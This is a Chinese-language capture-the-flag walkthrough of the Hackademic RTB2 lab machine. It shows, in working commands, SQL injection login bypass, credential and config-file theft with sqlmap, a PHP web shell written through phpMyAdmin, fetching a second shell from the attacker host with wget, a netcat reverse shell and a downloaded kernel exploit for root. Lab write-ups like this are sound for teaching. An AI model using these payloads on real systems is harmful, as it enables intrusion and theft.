Hackademic之Root this box第二部曲
以下为我个人整理并验证测试,谨以此文纪念我的web安全学习之路。
一、评估阶段
服务/版本
Nmap扫描显示开放了2个端口,80/TCP端口的web服务以及666/TCP端口的服务(filtered)。
刚安装的虚拟机,不知道ip,扫一下:
root@bt:~# nmap -sT -p80 192.168.202.*|grep -C 3 open Nmap scan report for 192.168.202.165 Host is up (0.00049s latency). PORT STATESERVICE 80/tcp open http MAC Address: 00:0C:29:F6:34:D4 (VMware) Nmap scan report for 192.168.202.254
扫到ip后,继续看看有无开放其他端口:
root@bt:~# nmap -sS 192.168.202.165 Starting Nmap 6.25 ( http://nmap.org ) at 2014-01-2619:16 HKT Nmap scan report for 192.168.202.165 Host is up (0.00031s latency). Not shown: 998 closed ports PORT STATE SERVICE 80/tcp open http 666/tcp filtered doom MAC Address: 00:0C:29:F6:34:D4 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
web服务
让我们分析一下80/ TCP端口有什么。打开浏览器指向目标的ip,如图:
用dirbuster(填好地址,选择dirbuster自带的字典即可)可以发现phpmyadmin的存在:
二、漏洞利用阶段
突破第一个漏洞点
只有一个登陆界面,先从它入手吧。尝试过w3af及sqlmap没有发现SQL注入。采用burpsuite里intruder模块对密码字段进行SQL注入的Fuzzing(配置好代理后,输入账号密码admin,admin,断在burpsuite里之后,右键发送到intruder,设置好要爆破的参数,然后加载字典,可以从burpsuite pro里直接复制过来的):
其中password为’ or 1=1–’时,回应如下:
找出port-knocking组合
把那段内容拿去url解码,然后ASCII转换(http://home.paulschou.net/tools/xlate/),结果为:
<---------> Knock Knock Knockin' on heaven's door .. :) 00110001 00110000 00110000 0011000100111010 00110001 00110001 00110000 00110001 00111010 00110001 0011000000110001 00110001 00111010 00110001 00110000 00110000 00110001 <--------->
后面那段继续转换,结果为:
1001:1101:1011:1001
破开端口666/TCP
组合是:1001:1101:1011:1001。我们猜测这是打开端口666/TCP的Port-Knocking钥匙,这是一些的TCP端口。拿出nc,或者bt5下直接输入:
# for i in 1001 1101 1011 1001; do nc -z192.168.202.165 $i; done
也就相当于一个小函数,分别用TCP发SYN包去连接该ip的这4个端口(按顺序)(很有意思,类似于芝麻敲门,一般可用于防22端口爆破)。
运行完成后,我们打开浏览器,输入ip:192.168.202.165:666,回车,则进入另一个界面:
突破第二个漏洞点
观察页面时,发现左边的Main Menu下有个特别长的链接,地址为:
http://192.168.202.165:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3
丢进sqlmap,dump下来mysql.user表里的用户名密码:
root@bt:/pentest/database/sqlmap# ./sqlmap.py --url="http://192.168.202.165:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3"-D mysql -T user -C User,Password --dump
中间会判断出letter是可注入的,并且还有一些其他的选择,可自由发挥。
Database: mysql Table: user [5 entries] +------------------+-------------------------------------------+ | User | Password | +------------------+-------------------------------------------+ | debian-sys-maint |*F36E6519B0B1D62AA2D5346EFAD66D1CAF248996| | phpmyadmin |*5D3C124406BF85494067182754131FF4DAB9C6C7 | | root | *5D3C124406BF85494067182754131FF4DAB9C6C7| | root |*5D3C124406BF85494067182754131FF4DAB9C6C7 | | root |*5D3C124406BF85494067182754131FF4DAB9C6C7 | +------------------+-------------------------------------------+
由于其中sqlmap自带的破解失败。看起来通过John The Ripper也需要几小时或者几天,换个思路。既然是Joomla,随便百度一下就知道配置文件在站点根目录下configuration.php
root@bt:/pentest/database/sqlmap# ./sqlmap.py --url="http://192.168.202.165:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --file-read="/var/www/configuration.php"
运行命令后,sqlmap就自动帮我们将配置文件下载到sqlmap的output下了。如图:
这样,mysql的root账号及密码我们就有了,想起之前探测到的phpmyadmin目录,那么我们就能进行下一步了。
三、持续深入阶段
安装后门
访问http://192.168.202.165/phpmyadmin/,输入root账号及密码。进入phpmyadmin后,切换到SQL语句执行的地方,输入select ‘<?phpsystem($_GET[“cmd”]); ?>’ into outfile ‘;/var/www/shell.php’
然后我们访问http://192.168.202.165:666/shell.php?cmd=whoami可以看到小马已经成功写入。将BT5的httpd服务打开,将大马文件放入/var/www目录下,上传我们的大马http://192.168.202.165:666/shell.php?cmd=wgethttp://192.168.202.132/123.txt
执行ls,可以看到已经上传成功。然后改后缀
http://192.168.202.165:666/shell.php?cmd=mv/var/www/123.txt /var/www/123.php
访问http://192.168.202.165:666/123.php,如图:
反弹shell
在bt5里shell下输入nv -lvvp 3333开启监听3333端口,然后在大马下切换到反弹shell界面,输入我们的ip及3333端口,点击connect。就可以看到监听端口已经收到转发来的信息。
root@bt:~# nc -lvvp 3333 listening on [any] 3333 ... connect to [192.168.202.132] from (UNKNOWN)[192.168.202.165] 54924 id uid=33(www-data) gid=33(www-data) groups=33(www-data) uname -a Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP WedJul 28 06:07:29 UTC 2010 i686 GNU/Linux
权限提升
可以看到我们权限较低,仅仅是www-data身份。
在exploitdb(BT5自带,可去exploit主页下载离线包更新替换)里寻找对应2010年7月左右的本地提权exploit
有很多,我们挑第一个大概看一下,发现可行,在nc里分别输入以下命令:
wget http://www.exploit-db.com/download/14814 -O 14814.c gcc 14814.c -o 14814 chmod +x 14814 ./14814
这时,当我们再次输入whoami或者id时,我们已经是root身份了:
id uid=0(root) gid=0(root) whoami root
完成最后的挑战
跟RTB1(root this box)里一样,/root目录下有个key.txt文件。
在nc里执行cat /root/Key.txt,发现返回的内容是base64加密的内容。
执行命令base64 -d Key.txt > key,然后ls,key文件已经生成了,用file命令查看为png格式,
将其move到站点目录下,然后访问,如图:
至此,RTB2的挑战已经完成。
后记
拿到root权限后,通过命令passwd root重置root账户密码为admin。
然后,直接用root账号登陆该系统,找到/var/www目录,其中有个welcome文件夹就是我们第一关:
可以看到,第一关的成功条件是写死的。只有两种答案。
另外,在/etc/iptables.rules下也可以看到port-knocking的相关配置:
下载:
RTB1:http://download.vulnhub.com/hackademic/Hackademic.RTB1.zip
RTB2:http://download.vulnhub.com/hackademic/Hackademic.RTB2.zip